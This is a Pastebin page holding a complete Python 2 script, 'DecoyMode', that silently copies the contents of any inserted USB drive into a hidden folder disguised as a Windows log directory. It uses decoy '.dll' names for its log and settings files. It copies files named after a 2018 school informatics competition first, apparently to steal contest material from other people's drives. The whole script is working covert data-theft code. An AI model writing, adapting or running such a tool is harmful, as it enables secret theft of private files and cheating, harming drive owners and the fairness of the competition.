Advertisement
stevomitric

Untitled

Feb 22nd, 2018
115
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.37 KB | None | 0 0
  1. '''
  2.          __ ___________            
  3.  _______/  |\_   _____/__  ______  
  4. /  ___/\  __\   __)_\ \/ /  _ \
  5. \___ \ |  | |        \\   (  <_> )
  6. /____  > |__|/_______  / \_/ \____/
  7.     \/              \/            
  8.      
  9. '''
  10.  
  11. import os, time, shutil, subprocess, sys
  12.  
  13. from threading          import Thread
  14.  
  15.  
  16. class DecoyMode():
  17.     def __init__(self):
  18.         self._isAlive = True
  19.        
  20.         # Staring the loop
  21.         # self._mainLoop()
  22.        
  23.         # Manualy set Drive to monitor
  24.         self._manualMonitor()
  25.        
  26.     def _mainLoop(self):
  27.    
  28.         # Funciton variables
  29.         tempVariables = {
  30.             'usbRunning': [],
  31.             'settingsSaveTime': time.time(),
  32.         }
  33.    
  34.         while (self._isAlive):
  35.             # Breaking infinite loop
  36.             try:
  37.                 time.sleep(1)
  38.             except:
  39.                 log('Control-C, quiting', 'info')
  40.                 return
  41.                
  42.             # USB check
  43.             usbListTemp = _policyCheckUSBConnected()
  44.             for usbPath in usbListTemp:
  45.                 if (usbPath not in tempVariables['usbRunning']):
  46.                     tempVariables['usbRunning'].append(usbPath)
  47.                     Thread(target = _policyCopyFromUSB, args = (usbPath,) ).start()
  48.             for usbPath in tempVariables['usbRunning'][:]:
  49.                 if usbPath not in usbListTemp:
  50.                     tempVariables['usbRunning'].remove(usbPath)
  51.  
  52.     def _manualMonitor(self):
  53.         # Get the file in which the manual part is located in
  54.         programDir = os.path.realpath(sys.argv[0])
  55.         programNam = os.path.basename(sys.argv[0])
  56.         programIni = programDir.replace(programNam, '') + 'uc.dll'
  57.  
  58.         # Attempt to read the file
  59.         drive = 'G:\\'
  60.         try:
  61.             data = coreFile(programIni, 'r')
  62.             if not data: raise Exception("ERROR: No File or empty read")
  63.             drive = data.replace('\n', '').replace('\t', '')
  64.         except:
  65.             coreFile(programIni, 'w', 'G:\\')
  66.             log('failed to load drive: ' + programIni, 'warning')
  67.            
  68.         while (len(drive) and drive[-1] == ' '):
  69.             drive = drive[0:-1]
  70.            
  71.         if (len(drive) and (drive[-1] != '\\' and drive[-1] != '/') ):
  72.             drive += '\\'
  73.            
  74.         log('','')
  75.         log('using drive: ' + drive, 'info')
  76.        
  77.         mode = 0
  78.        
  79.         # Looping forever
  80.         while (self._isAlive):
  81.            
  82.             # Checknig for Ctrl-C
  83.             try:
  84.                 time.sleep(0.5)
  85.             except:
  86.                 log('Control-C, quiting', 'info')
  87.                 break
  88.        
  89.             # Checking if drive is inserted
  90.             try:
  91.                 os.listdir(drive)
  92.             except:
  93.                 mode = 0
  94.            
  95.                 continue
  96.                
  97.             # Dont try to copy files 2 times
  98.             if (mode == 1):
  99.                 continue
  100.             mode = 1
  101.        
  102.             _policyCopyFromUSB(drive)
  103.        
  104. def compare(x,y):
  105.     return int(x[1]-y[1])
  106.    
  107. def prioritize(loc, data_org):
  108.     '''Function that retursns the order of files in which they will be copied. It prioritizes some according to given settings and file size '''
  109.  
  110.     newData = []
  111.     taken   = {}
  112.     data    = data_org[:]
  113.    
  114.     # Words to place 1st if found
  115.     triggerWrods = ['skolsko_2018', 'skolsko 2018', 'skolsko', 'takmicenje', 'takmi', '2018', 'informatika']
  116.    
  117.     try:
  118.         sortStuff = []
  119.         for element in data:
  120.             size_ = int(os.path.getsize(loc + element))
  121.            
  122.             if (size_ > 10000000):
  123.                 log('Skipping due to file size: ' + loc+element+str(size_/1000000)  , 'info')
  124.                 #print 'skipping ', loc + element, size_ / 1000000, 'MB'
  125.                 continue
  126.                
  127.             sortStuff.append( (element, size_ ) )
  128.        
  129.         sortStuff = sorted(sortStuff, cmp = compare)
  130.    
  131.         data = []
  132.         for element in sortStuff[:]:
  133.             data.append(element[0])
  134.     except:
  135.         # Size soring failed
  136.         data = data_org
  137.    
  138.     # searching for words
  139.     for word in triggerWrods:
  140.         for element in data:
  141.             if word in element.lower() and not taken.has_key(element):
  142.                 newData.append(element)
  143.                 taken[element] = 1
  144.    
  145.     # Appending the rest of the unused words
  146.     for element in data:
  147.         if not taken.has_key(element):
  148.             newData.append(element)
  149.             taken[element] = 1
  150.    
  151.     # returning the result
  152.     return newData
  153.    
  154. def _policyCopyFromUSB(usbPath):
  155.     log('Detected usb: ' + usbPath, 'success')
  156.    
  157.     # building the destination location
  158.     try: os.mkdir('\\programData')
  159.     except: pass
  160.     try: os.mkdir('\\programData\\windows_log')
  161.     except: pass
  162.    
  163.     tempPath = "\\programData\\windows_log\\"
  164.    
  165.     # DFS like search
  166.     def _searchTree(directory):
  167.         # Checking if you can access the directory (maybe its locked or non-existant due to copy time difference)
  168.         try:
  169.             os.listdir(directory)
  170.         except:
  171.             return
  172.    
  173.         data = os.listdir(directory)
  174.    
  175.         # Checking if you can prioritize files
  176.         try:
  177.             data = prioritize(directory, data)
  178.         except:
  179.             log('Failed to prioritize data: ' + directory, 'warning')
  180.            
  181.         for element in data:
  182.             if os.path.isdir(directory + element + '\\'):
  183.                 # Try to make a directory to match the original USB
  184.                 try:
  185.                     os.mkdir(tempPath + directory.replace(usbPath, '') + element)
  186.                 except:
  187.                     pass
  188.                    
  189.                 _searchTree(directory + element + '\\')
  190.                
  191.             else:
  192.                 # First try copying in directory-like tree that was created with mkdir above
  193.                 try:
  194.                     shutil.copy(directory + element, tempPath + directory.replace(usbPath, '') + element)
  195.                 except:
  196.                     # Second (if first copying failes), copy the file direcly into dumpfolder so it doesnt get missed
  197.                     log('Failed to copy to tree-like destionation: ' + directory + element, 'warning')
  198.                     try:
  199.                         shutil.copy(directory + element, tempPath + element)
  200.                     except:
  201.                         log('Failed to copy file: ' + directory + element, 'error')
  202.  
  203.     _searchTree(usbPath)
  204.    
  205.     log('Done', 'success')
  206.  
  207. def _policyCheckUSBConnected():
  208.     data = coreCallSystemCMD('wmic logicaldisk where drivetype=2 get deviceid /format:csv', True).split('\r\r\n')[2:-1]
  209.     id = []
  210.     for usb in data:
  211.         try:
  212.             if (':' not in usb): continue
  213.             if ('a' in usb or 'b' in usb): continue
  214.             id.append(usb.split(',')[1]+'/')
  215.         except:
  216.             pass
  217.    
  218.     return id
  219.  
  220. def coreCallSystemCMD(message, waitForResponse = False):
  221.     if 'list' in str(type(message)).lower(): pass
  222.     elif " |split| " in message: message = message.split(' |split| ')
  223.     else: message = message.split(" ")
  224.  
  225.     process = subprocess.Popen(message,
  226.                 stdout=subprocess.PIPE,
  227.                 stderr=subprocess.STDOUT, shell = True)
  228.     if waitForResponse:
  229.         return str(process.stdout.read().lower())
  230.  
  231. def coreFile(loc, mode, data = '_'):
  232.     try: tempFile = open(loc, mode)
  233.     except: return ''
  234.     if 'w' in mode or 'a' in mode:
  235.         tempFile.write(data)
  236.     if 'r' in mode:
  237.         data = tempFile.read()
  238.     tempFile.close()
  239.     return data
  240.        
  241.  
  242. def log(msg, state = 'info'):
  243.     try: coreFile('\\programData\\re.dll', 'a+', state.upper() + ': ' + msg + "\n")
  244.     except: pass
  245.     print state.upper() + ": " + msg
  246.    
  247.    
  248. if __name__ == '__main__':
  249.     DecoyMode()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement